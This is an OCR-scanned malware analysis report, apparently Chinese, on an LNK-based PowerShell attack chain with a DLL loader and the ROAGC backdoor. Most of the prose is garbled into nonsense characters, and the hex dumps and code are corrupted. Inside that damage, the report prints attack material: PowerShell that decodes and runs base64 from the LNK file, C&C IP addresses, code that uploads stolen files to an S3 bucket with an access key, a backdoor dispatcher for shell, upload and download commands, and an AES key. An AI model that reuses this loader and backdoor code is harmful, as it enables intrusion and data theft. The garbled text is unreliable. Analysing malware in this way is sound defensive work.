PowerShell SEEHIASUES FEFAFERPRIERCSUY, ARERFANE EFKIARER
Fit &,
HEADHT

1.Dropper

M+ EEEREE— LNK X, 8578 (BUENSKZERE) 2RHIEInk, HF LNK
ST EI BRI :

CwE | mente | ®e [ @RS | RS
ETRE T RS

A BCERIR A SR

Bffda: XMt
BiFfu®: vi.o
B @: e

£HHE©):
RO %

ETAR®: Bk -]
FEO:

(IAXHE® | [ @BERo.. [ Zgw... |

BRI BirPFHEEEHAIRERF, FRTHFISTTIEEER LNK AR LEER!
PowerShell 18XB9=F/FE, LAKIRZ Unicode AR IW=FFF:
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0000O01FD 00 2A 00 0O 0O OO 0D DO 0O 0O 00 00 00 00 00 00 peer————————

00000200 00 0D OO OO OO OO 0D DO OO OO OO S0 0D 4F 00 77 o.veevnnn.. P.O.w
00000210 00 65 00 72 00 73 00 48 00 45 00 4C 0D 6C 00 2E| .e.r.s.H.E.L.1..
00000220 00 65 00 78 00 &5 00 OO OO 1E OO OO0 0D 47 03 20 .e.x.e....... G.

00000230 00 09 0O OD OO 09 0D D9 0D 09 0O OD OO DD OD DD ... e v e e e s nn s
00000240 0O OD 0O OD OO OD OO OD OO OD OO OD OO 20 00 0D ....vnnnnnnnn
00000250 00 09 00 20 00 09 0D OD OO 20 0O 0% OO 20 0O 09 ... ..... s
00000260 00 20 00 OD OO OD OO 20 00 OD 0O O3 0D 09 DO OD . ...vh ciennnn.
00000270 00 09 00 09 00 20 00 OD 00 20 o0 20 oo Q@joo B9 ..... s w i
00000280 00 09 00 09 00 09 00O DD OO 20 00 OD 0D OD 0D 20 .....veve vnnnn
000002%0 00 09 0O 20 00 20 00 20 0O 20 00 200D 2000 09 ... . . . . .
00000ZA0 00 OD OO OD OO OD OO D9 OO OD OO OD 0D 20 0D 20 ....vvennnnn,
000002B0 00 20 0O 20 OO OD OO 20 0O OD OO O3 0D 2000 09 . . ... .....
000002Cc0 00 20 00 20 00 09 00O OD OO 09 00 OD OO 20 0O 20 . . ..ciennn.
00oo02p0 00 20 0O OD OO OD OO OD OO OD 0O 20 OO OD 0O 09 . ......... R
000002ED 00 09 00 09 00 OD OO OD OO OD 0O 09 0D OD 00 20 .....vvieninnnnn
0000O02FD 00 09 00 20 00 OD 0D DD OO OD OO OD 0D 20 DD 09 ... ....i.cnn..
00000300 00 09 00 05 0O 09 0D OD OO OD OO 20 0D 20 DD OD ..vvevenns.
00000310 00 20 DO OD OO 20 OO D9 OO 20 OO OD QD 20 00D 09 . ... ...
00000320 00 20 0O OD OO OD OO DS 0O 20 00 20 00D 20 00D 09 . .......
00000330 00 0D 0O 20 00 09 00 20 OO0 09 OO 20 OO 20 00 20 ... ... ... . .
00000340 00 09 00 20 00 OD OD 20 00 20 0O OD 0D 09 DO OD ... ... & c.nnnn
00000350 00 20 0O OD OO 20 0O DS OO0 QD 00 0% 0D 09 DO 20 . ... .....nnn.
00000360 OO0 09 0O 20 0O 20 0D 20 O0OJOD|OO 09 0D 09 0D OD ... & . ciinnnnn
00000370 00 OD OO OD OO OD OO OD OOJ09|00 OD 0D OD DD B9 ... viiivenennnns
00000380 00 20 0O OD OO 20 00O D9 O0OJ09|00 OD OD 20 00 OD . ... .oenn.. it
000003%0 00 09 00 OD 0O 20 0O OD OO)09|00 03 0D OD 0D 20 ..... cvenennns
000003A0 00 09 00 OD OO OD 0O OD OO|0O9|0C 09 00 20 00 DD . .vvvvnnnnnn.
000003BO 00 20 00 20 00 09 0O 09 O0O0j20|00 20 00O 20 DO OD . . ..... ¥ 5 W
000003C0O 00 OD 00 20 0O 09 OO0 D9 O0O0j09|00 OD 0D OD 0O 09 ... ...iininnnnn.
000003D0 00 09 00 OD OO 09 0D 20 O0Oj20(00 OD OD OD OO 20
000O00O3ED 0O 09 00 OD 00 20 00 OD OO U900 09 00 2D 00 77 |..vve wvnnnnn -.w
00DOD3FD 00 20 00 68 00 69 00 64 00 64 DO 65 0D BE 00 20
00000400 00 24 00 oF 00 3D 00 27 00 4C 00 57 0D 70 00 76
00000410 OO0 61 00 S7 00 34 00 6F (0 4B 0O 44 00 4D 00 32
00000420 00 4C 00 44 00 6B 00 33 00 4C 00 44 00 59 00 78
00000430 00 4C 00 44 00 4D 00 32 00 4C 00 44 00 45 00 77
00000440 00 4E 00 43 00 77 0D 78 00 4D 00 54 00D 45 00 73
00000450 00 4D 00 5S4 00 45 00 31 00 4C 00 44 0D 45 00 78
00000460

biabbzo s
2 MHE =R e e
wolHoDoDo X0
Emmmg T =

ZElze e o
Zrz o= a

BT LNK & LN EZERIE, BRI REFARTHITRIERE BT,
HPP R 3 4~ LNK 3XHHHERIEELEM: LinkTargetIDList,
COMMAND LINE_ARGUMENTS #0 EnvironmentVarableDataBlock,

LinkTargetIDList, 1ZZ5MR—1ME, AT RcCERRIRESNNTHERR, A+
£/ LIST BRguRiHEiE kA RRESRMEERR:

CLSID_MyComputer\C:\Windows\system32\windOW~1\V1.0\POwersHELIl.exe
BRI AT LAB S B#RERZHN LinkTargetIDList #HEH SRAVER—:
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1 cey

,L., ] ® Breakpoints
88 ¥

- Ganory oy [ u:.u Stack

mov &1, ed

push evp
mOV ebp,esp.

push 0

push dword prr zs:

push dword ptr
push dword ptr
push dword ptr
push dword prr
push dword ptr
push dword ptr
push dword prr
push dword prr
nusn dword ptr

nu d(ernetzz CreatefrocessInternalis

pop e
fEeo 25

s

op

mov 01, edi
push edp
mOV ebp,esp.

push 0
push dword prr
push dword ptr
push dword ptr
push dword ptr
push dword ptr
push dword ptr
push dword ptr
push dword ptr
push dword prr

Seript | @) symdols | L Refarences

WINDOWS'\ \ SYSTEM3

lums o-:oono‘
2F 0 AF O
oF 0 s( a of 0
CFO TF1 XF 1
GS 0000 FS 0038
€5 0023 DS 0023
€S 0018 55 0023

X8770 00000000000000000000 STO LmpTy O

X87r2 $T2 Empty O
X87r3 ST tmpty O
XB7r4 T4 fmpty O
X87r5 S5 fmpty O
X877 $76 Empty O
x87r7 $77 gmpty O

XB7TagwOrd FEFF
X8ITW_O 3 (£%pTy)  X87TW_1 3 (fmpty)
¥)

XBTTW_4 3 (£%Ty)  XB7TW.S 3 (fmpty)
X8TTW_6 3 (E%0Ty)  X67TW 7 3 (Empty)

Hide FPU "
AX 00000000

€ex

KX 00000001

€0X 00000001

€eP  OX79ENC

€59 0379LA%8

€SI 0379LB4s8

€0X 00000264 (B3

€IP 77122040 <kernel)2.Createrrocessw>

X87TW_3 3 (fmpty)

fedisdE4 (TAY
kernel32.d11{2040) |

“.xext™:

77122040 <CreateProcessws

COMMAND _LINE_ARGUMENTS,

2.4 StringData

STHING BATA ¢ (MamE_STRING] I’.Iﬂ.\!‘ﬂ‘}l-'ﬂ [rkxrss 22x]
_LINE_ARREINTS] [ICHE_1OCATLON]

armation, The presence of these cpicnal structunes & contr

X8750.8 O -us« <3 0 xs7SW L2 O
X875W_C1 O nl?» £0 0 XUTPLIK O
XB7SW_SF O  X875W. o

0 X87SWY

IZISIUN BMERFRISEL

MUIST be present o tha

be wsed when resabving
44 4 tha HasWorkingDir ©ag o 451

# HasMame lsg is set
et bk Th

% piructore MUST be present f tne HasRelathvePath flag s set

2

HAPRERERSENARRFERITR PowerShell TE

1 LJ\: Y

B8, BIMETESHTE

BT RERNAITER Unicode 57, NMSEAREITHIRES S BirhHA2E8 23N

PowerShell {#5:

03C0h:
03D0h:
03EQh:
03F0h:
0400h:
0410h:
0420h:
0430h:
0440h:
0450h:
0460h:
0470h:
0480h:
0490h:
04a0h:

00
00
00
00
00
00
00
00
00
00
00
00
00
o0
00

oD
09
09
20
24
6l
4Cc
2=
4EF
4D
4EF
4D
4Cc
4E
4D

00
oo
00
oo
00
oo
00
oo
00
oo
00
oo
00
oo
0o

20
oD
oD
68
6F
=7
44
44
43
54
a9
54
44
43
54

00
00
00
00
00
00
00
00
00
00
00
00
00
oo
00

09
09
20
89
3D
34
[31:]
4D
77
45
77
83
51
77
6B

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

EnvironmentVarableDataBlock,

o8
20
oD
64
27
eF
33
32
T8
31
30
T2
32
35
T2

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

09
20
09
64
4C
45
4C
2C
40
2C
T
4D
4C
4E
40

00
0a
00
0a
00
0a
00
0a
00
0a
00
0a
00
0o
00

oD
oD
0g
65
a7
44
44
44
54
44
69
54
44
78
o4

00
00
00
00
00
00
00
00
00
00
00
00
00
oo
00

oD
oD
2D
6E
70
4D
59
45
45
45
77
41
45
77
45

00
00
00
00
00
00
00
00
00
00
00
00
00
an
oo

09
20
77
20
76
32
T8
77
72
T8
T8
21
T8
T8
33

Sz EERS KRR
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............ -.W
. .h.i.d.d.e.n.

.5.0.=.".L.W.p.w
.a.W.4.0.K.D.M.2
L.D.E.3.L.D.Y.x
L.D.M.2.L.D.E.w
H.C.w.x.M.T.E.=s
M. T.E.1.L.D.E.x
N.iw.0N.1.w.x
M.T.c.5.M.T.A.1
L.D.0.2.L.D.E.x
H.Cow. 5. H.yv.w.x
M. T.k.5.M.T.E.3

SR BN ERA
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Z(ERERSSHERIIRIE S PRI B E VIR AT

EnvironmentVarableDataBlock {5, (EEEETZNE, H#A+

EnvironmentVarableDataBlock XySEprAYFE R FHARIER (MRHATINRZIERS

&) , &#& Shell32.dIl &4 LinkTargetIDList #{283£E50 PowerShell,

2.Payload (PowerShell fi7)

i#2%% PowerShell B4

B LNK 3UHEEHITAY PowerShell BIA#ER:, 1Z PowerShell 45829 ps_origin, {5

N

-join$a=$host.ui.rawui.windowtitle; //ZRENHRIEORIFRRSZ
If('$a.endswith('.Ink")) //32l Ink 314

{$a+="Ink'"}

$a=gi $a; //Get-ltem

q64 (gc $alselect -1 1);  //EfIFIRE—1T, base64 FBEHIHIT
Function q64

{

param($6);

iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))}
964 $oC:\Windows\System32\shell32.dll

PowerShell lIASEAHAAT LNK MHHRE—T, XHRISRE—TAUT:
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uuuuurCu 45 UU 33 UU 37 UU 31 UU Sb UU J1 UU JU UU 35 UU S.3./.1.b.1.U.5.
00000FDO 2D 00 37 00 39 00 33 00 38 00 00 00 00 00 00 00 -.7.9.9.8.......
00O0OFE0 00 0O 00 00 00 00 DO 00 00 uu

OO0DOFFO |67 41 41 41 41 43 6A 56 42 49 41 3 : ‘

00001000 |43 77 41 41 41 41 41 41 41 41 41 41 77 45 42 41
00001010 41 6B 41 41 41 43 33 2F 77 41 41 76 51 45 41 41 AkAAAC3/WAAVOEAA
00001020 43 38 41 41 51 41 41 56 67 49 41 41 41 41 41 41 CBAAQAAVgIAARAAA
00001030 41 41 41 6B 45 77 56 56 79 41 41 64 47 31 77 S8 AAAKEWVVyAAdGIwX
00001040 47 4A 6C 62 33 46 73 4C 6D 63 41 57 48 6F 48 41 GJ1b3FsLmcAWHGHA
00001050 41 42 57 41 67 41 41 41 4A 42 4D 46 56 63 67 41 ABWAGAAAJBMFVcgA
00001060 48 52 74 63 46 78 53 59 58 49 75 SA 58 68 6C 41 HRtcFxSYXIuZXhlA
00001070 | 41 43 4F 41 41 42 58 30 41 6B 41 41 41 43 51 54 ACOAABYDAKAAACQT
00001080 42 68 S5 49 41 42 30 62 58 42 63 6F 62 62 56 2F BLUIABObXBcobbV/
00001090 72 65 6F 7A 66 6A 43 35 39 50 66 78 2B 6D 66 74 reozfjCSIPEmemht
000D10A0 |37 76 68 31 4C 48 56 39 37 79 76 75 71 38 75 5A 7vh1LHV97yvuqsuZ
000010B0 47 39 6A 41 42 4C 6C 41 67 42 53 58 67 6F 41 41 G3jABLIAgBYXgoAA
00001000 41 43 4E 54 4F 68 30 49 41 42 30 62 58 42 63 35 ACNTOROIABOBXBCS
000010D0 73 53 7A 78 37 66 57 76 74 62 58 6F 38 54 36 76 SSzx7EWvEbKoBTEV
O00010EC 4B 62 45 36 74 44 51 74 50 50 55 79 79 30 78 4C KbEGLDQtPPUyy0xL
DO00010FD €D 70 77 SA 77 44 54 7A 77 45 41 61 6B 4D 4E 41 mpwZwDTzwEAakMNA
00001100 |41 41 41 6A 55 7A 69 64 43 41 41 64 47 31 77 58 AAAjUzidCAAdGIwX
00001110 | 4F 62 45 73 38 65 33 31 72 37 57 31 36 50 45 2B ObEsBe3lr7WIGPE+
00001120 72 79 6D 78 4F 72 51 30 4C 54 7A 31 4D 73 74 4D rymxOrQOLTzIMstM
00001130 69 35 71 63 47 63 41 45 59 53 43 41 44 30 54 44 i5qcGeAEYYCADOTD
00001140 |77 41 41 41 49 31 4D 36 33 51 67 41 48 52 74 63 WAAAIIM63QgAHRtc
00001150 46 7A 6D 76 4C S0 48 74 39 61 2B 31 74 65 GA 78 FzmxLPHtSa+ltsjx
00001160 S0 71 38 70 73 54 71 30 4E 43 30 38 39 54 4C 4C PqBpsTqONCOSSTLL
00001170 54 4D 75 61 6E 42 6E 41 4A 31 75 41 67 42 4F 6D TMuonBuAJluAgBOm
00001180 52 45 41 41 41 43 4E 54 4F 56 30 49 41 42 30 62 REAAACNTOVOIABOb
00001190 |58 42 63 35 73 53 7A 78 37 66 57 76 74 62 58 6F XBcSsSzx7fWvtbXo
000D11A0 |38 54 36 76 4B 62 45 36 74 44 51 74 50 50 55 79 BT6VKbEGtDOLPPUy

N4 Ea—1745d Base64 w3, MRASERIEIERIESEE +PowerShell BIZASIA9FZ :

Offset R - Y. O Ao A R C DI _FE_F -
00000000 | 4D 53 43 46 00 00 00 00 A3 S4 12 00 00 00 00 00 WSCF....ET...... -
00000010 | 2C 00 00 0O 00 00 OO OO0 03 01 01 00 09 00 00 00 ,.vvviinanennnnn
00000020 | B7 FF 00 00 BD 01 00 OO0 2F 00 01 OO 0O 56 02 00 -%..%...-....V..

00000030 | 00 DO OO0 00 OO 0O 90 4C 15 S7 20 00 74 6D 70 SC  ....... L.W .tmp\
00000040 | 62 65 6F 71 6C 2E 67 00 58 7A 07 00 DO 56 02 00 beogl.g.Xz...V..
000000SO | 00 DO 90 4C 15 S7 20 00 74 6D 70 5C 52 61 72 2E ...L.W .tmp“\Rar.
00000060 | 65 78 65 00 00 S8E 00 00 S8 DO 09 00 00 0O 90 4C exe..l..XD..... L

00000070 | 18 54 20 00 74 6D 70 5C Al B6 D5 FE B7 AB CD F8 .T .tmp“i%0b- Ie
00000080 | ©2 E7 D3 DF €7 E9 A1 B7 BB E1 D4 B1 D5 F7 BC AF AcORCEé|-»a0+0-4"
00000090 | BA AF 2E 64 6F 63 00 12 ES 02 00 58 SE OA 00 00 9 .doc..Ad..X ...
000000AD | 00 8D 4C E8 74 20 00 74 6D 70 5C E6 C4 B3 C7 B7 ..Let .tmp mhsC-
00000080 | D6 BE D6 D7 A3 C4 FA BC AG C4 EA DO DO B4 F3 D4 OxOx£Aak)AeDD 60
000000C0 | CB 2D 31 2E 6A 70 67 00 D3 CF 01 00 6A 43 0D 00 E-1.jpg.0I..jC..
00000000 | 00 00 8D 4C E2 74 20 00 74 6D 70 5C E6 C4 B3 C7 ...Lat .tmp =hsC
00000CED | B7 D6 BE D6 D7 A3 C4 FA BC A6 C4 EA DD DO B4 F3 -Ou0xpAuk|AeDD o6
00000OFD | D4 ©B 2D 32 2E 6A 70 67 00 11 86 02 00 3D 13 OF OE-2.jpg..l1..=..

00000100 | 00 00 0D 8D 4C EB 74 20 00 74 6D 70 5C E6 C4 B3 ....L&t .tmpish’
00000110 TOROR ‘

00000120 F3 D4 CB 2D 33 2E 6A& 70 &7 00 9D 6E 02 00 4E 99 &OE-3.jpg..n..NI
00000130 11 00 00 00 8D 4C ES 74 20 00 74 6D 70 5C E6 C4 ..... Lat . tmpah

00000140 B3 C7 B7 D6 BE D6 D7 A3 (4 FA BC A6 C4 EA DO DO °C-0%0x£Au|AeDD
00000150 B4 F3 D4 CB 2D 34 2E 6A 70 67 00 17 FA 01 00 EB "60E-4.jpg..d0..8
00000160 07 14 00 00 00 8D 4C EO 74 20 00 74 6D 70 5C E6 ...... Lat .tmp e
00000170 C4 B3 €7 B7 D6 BE D6 D7 A3 C4 FA BC A6 (4 EA DO A3Q-OuOxehaw|Aed
00000180 DO B4 F3 D4 CB 2D 35 2E 6A 70 67 00 8B 57 01 00 D 60E-5.jpg.1W..
00000190 02 02 16 00 00 00 8D 4C EE 74 20 00 74 6D 70 5C ....... Lit .tmp™
000001A0 E6 C4 B3 C7 B7 D6 BE D6 D7 A3 C4 FA BC A6 C4 EA =AC-OuOxfhul)BAé
000001B0 DO DO B4 F3 D4 CB 2D 36 2E 6A 70 67 00 2C 89 B2 DD OO0E-6.jpy..12
000001C0 11 4E 48 00 80 43 4B ED 7D 7B 7C 14 55 B2 70 CF .NH.ICKi}{|.U%pI
000001D0  4C 27 69 60 AD 07 4C 20 22 4A 94 A0 B8 71 D9 C8 L'i® .L "JI ,qUE
0DO0O1EQ B0 02 03 18 1E 93 44 24 38 43 CC 84 88 09 B2 €O I....1Dsecinn.z4
000001F0  6C BC AF 10 A6 03 23 21 B9 9D 51 9A 43 2B DF BD 11 .} .*!1.QIC+RY
00000200 BA EB BD AB 57 B9 E8 2E BB D7 DD C5 55 81 F8 9C 2&k«Wie.»xYAU.el
00000210 24 6C 12 10 91 AD 8B 78 41 8D 6E D4 13 27 AB 41 $1..° IxA.n0.'«A
00000220 62 18 20 A6 BF AA 73 7A 26 13 1E EE DE FB FD FB b. |é2sz&..ikayu
00000230 C1 2F FD A8 F3 AA 53 55 A7 4E 9D 3A 75 7A F2 6E A-y 625SUSN. :uzén
00000240 DF 2A DB 04 41 10 E1 CF 30 04 61 BF CO FF 65 09 R*0.A.410.a.Aie.
00000250 FF F8 9F C3 22 08 23 C6 BF 36 42 78 65 C8 BB 57 ywli".#£i6BxeEsw
00000260 EE B1 2C 74 F7 CA DB 4A EF SA 9B 56 SE 71 FF 2F ix,z=EUJiZIV gy
00000270 2A 56 DC 9B B6 72 CS 7D F7 DD I1F 48 FB F9 EA B4 »ViIMrA}+¥.Huas-
00000280 OA ES BE B4 BB EE 4B SBE 70 6B 7E DA BD F7 AF S5A .a% »iK[pk™U4+ 2
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uuuuuuuu B T T T

00125490 3C 70 D2 B2 AB 42 49 40 69 60 D1 BO 96 38 CA BF <p02«BI@i N°IBE:
00125440 47 FF IF 2D 6A 6F 69 6E 28 28 39 31 2C 31 30 35 G¥y.-join((91.H0S
D01254B0 |2C 31 31 31 2C 34 36 2C 31 30 32 2C 31 30 35 2C| ,111.46,102,105,
001254C0 31 30 38 2C 31 30 31 2C 39 33 2C 35 38 2C 35 38 108,101,93,58,58
001254D0 2C 31 31 39 2C 31 31 34 2C 31 30 35 2C 31 31 36 ,119,114,105,116
0D01254E0 | 2C 31 30 31 2C 39 37 2C 31 30 38 2C 31 30 38 2C .101,97,108.108.
0D1254F0 39 38 2C 31 32 31 2C 31 31 36 2C 31 30 31 2C 31 98,121,116,101,1
00125500 |31 35 2C 34 30 2C 33 34 2C 33 36 2C 31 30 31 2C 15,40,34,36,101,
00125510 |31.31 38: 2¢ 31 31 38 2C€ 35 38 ‘2C 31 31 ‘36 '2€ 31 | 110,118,508, 116.1
00125520 |30 39 2C 31 31 32 2C¢ 39 32 2C 31 30 35 2C 38 37 09,112,92,105,87
00125530 | 2C 38 38 2C 38 36 2C 31 30 33 2C 34 36 2C 37 39 ,88,86.103,46,79
00125540 |2C 33 34 2C 34 34 2C 39 31 2C 39 39 2C 31 31 31 .34.44.91.99.111
00125550 (2C 31 31 30 2C 31 31 38 2C 31 30 31 2C 31 31 34 ,110,118,101,114
00125560 | 2C 31 31 36 2C 39 33 2C 35 38 2C 35 38 2C 31 30 ,116.93,58.58.10
00125570 |32 2C 31 31 34 2C 31 31 31 2C 31 30 39 2C 39 38 2,114,111,109,98
00125580 |2C 39 37 2C 31 31 35 2¢ 31 30 31 2C 35 34 2¢ 35| ,97,115,101,54.,5
00125590 |32 2C 31 31 35 2C 31 31 36 2C 31 31 34 2C 31 30 2,115,116,114,10
001255A0 |35 2C 31 31 30 2C 31 30 33 2C 34 30 2C 34 30 2C S5,110,103.,40.40,
001255B0 |31 30 33 2C 39 39 2C 33 32 2C 33 36 2C 39 37 2C 103.99.32,36.97,
001255C0 |31 32 34 2C 31 31 35 2C 31 30 31 2C 31 30 38 2C 124,115,101,108,
001255D0 |31 30 31 2C 39 39 2C 31 31 36 2C 33 32 2C 34 35 101,99,116,32,45
001255E0 |2C 31 30 38 2C 33 32 2C 35 30 2C 31 32 34 2C 31| ,108,32,50,124,1

g){del -force -recurse “Senv:tmp\iWxVg“}rni -force

. startswith(Sen ) ){del -force -recurse

{del -force $a

get-date)-(get-item $env:tmp\backups).LastAccessTime

r.Header2.getenumerator() ) {1f($w.name){$3.Head

r.Ghata){ret 5.statuscode,

u) {5t
NAME) {St+=5u.FILENAME}$2

q)“}Function e77($u){sx = umS

})}Function ul3($u,$x,$m){Su. ISODATE=

ps_start
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WRERSHY LNK SU4RIE—1T98 PowerShell BIAHE] ps_start S#ETHIT, 1%
PowerShell iIAEZRATHELESNERS, AHEsTHPEA, BRNEEESES7T
FBRAIS AR, QI FEIRTRIIAED [convert]::frombase64string((gc $alselect -I
2|select -f 1)));LA Base64 fRZHISMAIE R, ZfEERA Rundli32 inEEH beogl.g
R 13% (InEEREDA DliRegister) , BTG —ER PowerShell FIZA{FASEUEN, 1%

PowerShell 45824 ps_loader:

[FREEERERE &R beoql.g BUDLL [5i7]. &iZ&H Rar.exe EETHE. LUKRESLEI

{LRPRIERE DOC 3!

W=

(BUERER beoglg Rar.exe
%) 2RTER,

doc

FTRE-1jpg  FTAE-2jpg  FTKE-3jpg FTRE-4jpg FIKE-Sjpg FTKE-6jpg

BIASERIAELAT 3 4 IP bk, AR C&C 1HE:

159.65.127.93
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139.59.238.1

138.197.142.236

er]: :DefaultConnectionLimit 1:]

ger]::ServerCertificateValidationCallback - {itrue}
e format yyyyﬂMddhhmmss " zhengyis”

systeminfo

A CACHEE, NEIaSTRERFIIERER

e HEIR

Ipconfig /all IP BHHER
Netstat -a EXMEIEREER
Arp -a ARP table 58
Desktop files HENE
programfiles Programfiles {4
Programfiles x86 Programfiles {4

RIZASKENEAR GRS, BB Rar.exe [E48/9 start.rar 34, Z/5{#H RSA EiEINE—
NI FFTER e, FHEAENT:

<RSAKeyValue> <Modulus>3w2Aa8octWRTs8/FhGITxNHVOK+7L4RpX1iHY5mCkgbWwlomgpsE
GVFgN3C9P1G/Yu+FV29BSIWHI6cUd7d80K6AID6VAF6uvolTVESVPCkhwypZ+gbjkDirLGHI6WtTD

4FFOX+EH7S6xBGqSHbOg+abDS3KIkMkwlzx5vhlbCUkckJFj31zmapLGIndnTWybfP4nAhMuGGGv
amXyQ+y4rrqTUPm1vU0GQh1zT2J9Ce204WubUlyhMMIhvAeOQOTMKEVoCdU9yrRfj1rc36HYCO
/RysGpKfx+mGcIWvPBXywXFuxEiGSqkk4jCf7Gh3eehfa98gmYuYChRP6CtoL8Q==</Modulus><E
xponent>AQAB</Exponent></RSAKeyValue>
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IZPEN AR AZ R EESUER RAR INBERS, BIASEZINEEIN=FHRIEAK id.rar
X4, FEIIREL pv9 L1& start.rar & id.rar A EINEEN=IRS S H:

Rl ASERRFAFIEENESSY (jpg.txt.eml,doc,xls,ppt,pdf,wps,wpp,et, RIKEX

180 RUEARRIS M) |, 44e(EF3 Rar.exe [E4E3RENAMEEN 4, EIBNLZRIEMRIZE e

MEREL pvI SIEXIRIAT RAR SR EIT AWS S3 il EAEEI— N L= ARSS AsaatteiL :

0123.nyc3.digitaloceanspaces.com, {3 E A9 ACCESS KEY #1 SECRET KEY ZE{AIF

Th S3 EIRSRREMFERIOEEE KEY (E5.

122



Le%=-2018 FZF-55 2 8§

Amazon

Function pv9($8, Sw

k) {%u @{METHOD ‘POST'
'0123.nyc3.digitaloceanspaces.com’
ACCESS_KEY ' FCQS4WSS50HLV24ULGT2R”
SECRET_KEY ‘DIGITALSCRKEY"
REGION ‘nyc3’
DIRNAME w
FILENAME

s

q

HOSTURL

k.tostring 8.extension}

{3z - New-Object System.IO.FileStream #8.fullname
z.Length 5 {iq T

e - New-Object System.Xml.XmlDocument

w e.Createelement( 'CompleteMultipartUpload’
u.QUERYS ‘uploads="
u.BODY_SIG - zn8 "'
g - ul3 jfu '’
9 - ig3 ig

X [int]s9[@]

S3 HHXANA

C()

Amazon Simple Storage Se

Amazon Simple Storage Service (Amazon S3) £ —#fi @] Internet Y77 HEER % -

‘Open’

| N Y
rvice X #4

&7y LA Amazon S3 SR 7E

Web ERER{EFHFIRRAOEBRRNIYBER. ERIDER AWS HEREH & WA web FREETAIX

15,

HEAPERZIMYNAT 2RI —LRIRSS it rEATiE SRk, BAT value 2R AWS s3 V4

ERE

EEHRAT,

— MVERNE RS0 A7

—XiB(Eintem_ EEY B EFAIREL ul3 #ig3 5epk, E¥ ul3 AFECEEMRIMAENRE,

ig3 TR LM, T ul3 RRTEEEER, aws3 SIMAYERLUNTEAEFRIS, H
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—NEERSHCN Signature, HREL ab3, e77 HE4R, Z/E$9 £%R$g F, $g
FEERNERLIRME:

EREE5epk LTS

ps loader

ps_start FANEHNTT DLL B TS NHRERN=AN IP lEiSiE—MER C&C, BT E

—E&% PowerShell, t4MFRZ A ps_loader:

124



Le%=-2018 FZF-55 2 8§

win32_networkadapterconfiguration

t system.threading.mutex @
1 {ij.re

I )

select macaddress

t System.Net.WebClient

Chrome/62.9.3202

{

B.1;http://138.197.1

yyyhd

ps_loader SBEFEMABTIBERAIIINAY us K Cookie FER, BIRERIN TR, BILL

§ Fiddler Web Debugger

% Decode
WL
MupdateChade. sy

file Edit Rules Tools View Help GET /book
43 Replay X~ b Resume § Stream

- Resdt  Protocol Most

J1 20 WP fdder2.com

(]

e

s om0 W 199.65.127.93

© stavsnes
[eaders

BEREIREIERE R EEFR

§ lnopectors

xtiiew | WebForms

e|r|w

ead | cakc

F AsoResoonder | % Composer | [] Fters | (1) tog | = Tmeine
HexView A

Cookies | Raw BON | o

plp]w | no | Fode |OO| Bt |
Keep: All sessions = € Any Process J4 Find [ Save | L 40 Browse - @k Clear Cache T TextWizard 5 Tearofi -

i4; x64) Accle\Web¥t/S37. 3 O0MTML , ke DA) Crome J62.0. 3202.94 Safariy. 3% |

Transport

corfioken mud2t40 30
PHPSESSID =000 29P8AC24

Correcton: Keep-Abve
Host: 159.65.127.93

Get
L

Syntaxview | Transformer

Hexview | WebView

Auth | Caching | Cooldes | Raw 350N
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EEMIREEEHTERAMENE, BIRE sj8 WETRHITHE, FTLIBRIKEERE

F377 whatthefuckareyoudoing IXMREINEEFAIETUEIE/E/OMEA:

t System.Net.WebClient
DA) Chrome .8.3202.94 Safari/.36"

RN SR —ER PowerShell, I4bds#579 ps_backdoor, ps_backdoor &

HIJMAJEREL ROAGC:

ps backdoor

ps_backdoor B /3—E PowerShell [5i7], EFIN5ERE ROAGC FIRSEHRINAIS
K

1. [FHEA, ke 10

£#12: id, WAkJ9 zhengyis

#13: IP/Port —_jttH

¥ 4: XIRIONE KEY
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S50 5: JIRAY MAC itk

function ROAGC{
[int]%interval K ?id, %ip _port_arr, ‘key. ‘mac
:codepage '
:ID id
ip _index
:key key
:mac mac
cp - [System.Text.Encoding]::Default.EncodingName
ip_num ip_port_arr.length

PITRREI I AT <

(g A

rs #1147 CMD &%
up e

dw TS

cmd cmd_arr {
cmd_spl cmd.split("#”

cmd_type, fargv. StaskID cmd_spl[@],fcmd_spl[1].5cmd_spl[2]
cmd_type) {

"rs" {
cmd_spl argv ]
Invoke-ShellCommand Scmd_spl[@] %cmd_spl[1] $taskID

"up" {upload file fargv ‘taskID}

"dw" {download file ‘argv ‘taskID}
default {

“wrong input"
}
}
Start-Sleep -s 1
repeat_count 10

response NULL) {%response.close()}

IZBIAIRSZHE CMD #5<9Ih8E, BT Windows 4k, iR3ZF Linux TSRS HT:
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CEd

Is/dir
mv/move/copy/cp/rm/del/rmdir
cd

Ipconfig/ifconfig

ps/tasklist

whoami/getuid

rteboot/restart

tion Invoke-She
cnd, Scmdargs

cndargs \
cndargs - ‘cmdargs

}
cmdargs
cmdargs - ‘cadargs
}

output

cadargs. length
{ foutput
output

IEX "Scmd Scmdargs

ik
BREBE
SR

TEUEPS
HIE(EBIREN
FAFSB3REX
FFRA

*  download-fie

‘no shell comsand supplied’ }

select lastwritetime length, name

twritetime, length,name”

orce -ErrorAction Stop™

output - “executed Scmd fcmdargs”

{

output

HETHRBEREET AES ;

BT TAE, KEY )9 ps_loader H{EANRY

Dqd6IfRDcXK2KxIFDGU1S/MMyxGJ7qPIwM/xZeOR6Ps=:

upload-file{

[String]ifilepath, [String]itk_id

filepath
filepath - [System.Environment]:
f - Ge filepath

f. ength 0){

Protect-File

[System.IO.FileNotFoundException]

:ExpandEnvironmentVariables  ifilepath

“ifile not found."

filepath -Algorithm AES KeyAsPlainText HEY
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3FEFAK

ps_start IAS{#EF Rundll32.exe IEHITHEAFREELRAY beoql.g BIIE, %

DLL A—SEBEECRB A MINEAIEER, BT I02L ps_loader, FHEITEH LNK 343

SEHSAN, HSHAIREUN FRR:

Name Address

(#] DllEntry 6B8D1660
(##| DlIRegister 6B8D19C0
(##] Dliinstall 6B8D3E4D
(##| DliCanUnload 6B8D3F10
| DllUninstall 6B8D3F00
£#| DliSetClassObject 688D3B90
(#] DllUnsetClassObject 6B8D3CFO

v DllCopyClassObject 68803990
tryPoint

Ordinal

00~ O W s o R

BE ST, DLL BREREThHREN T :

BRZL Thie

DIIEntry FBF/=5h PowerShell

DlIRegister REREL, FAFHREFEND PowerShell, EA DIIEntry
Exh PowerShell, 8F Dllinstall &£ HEBETFEXE
48 LNK 32449 BAT RIS

Dllinstall ERFHEAATIER RS LNK ST BAT A

DlICanUnload

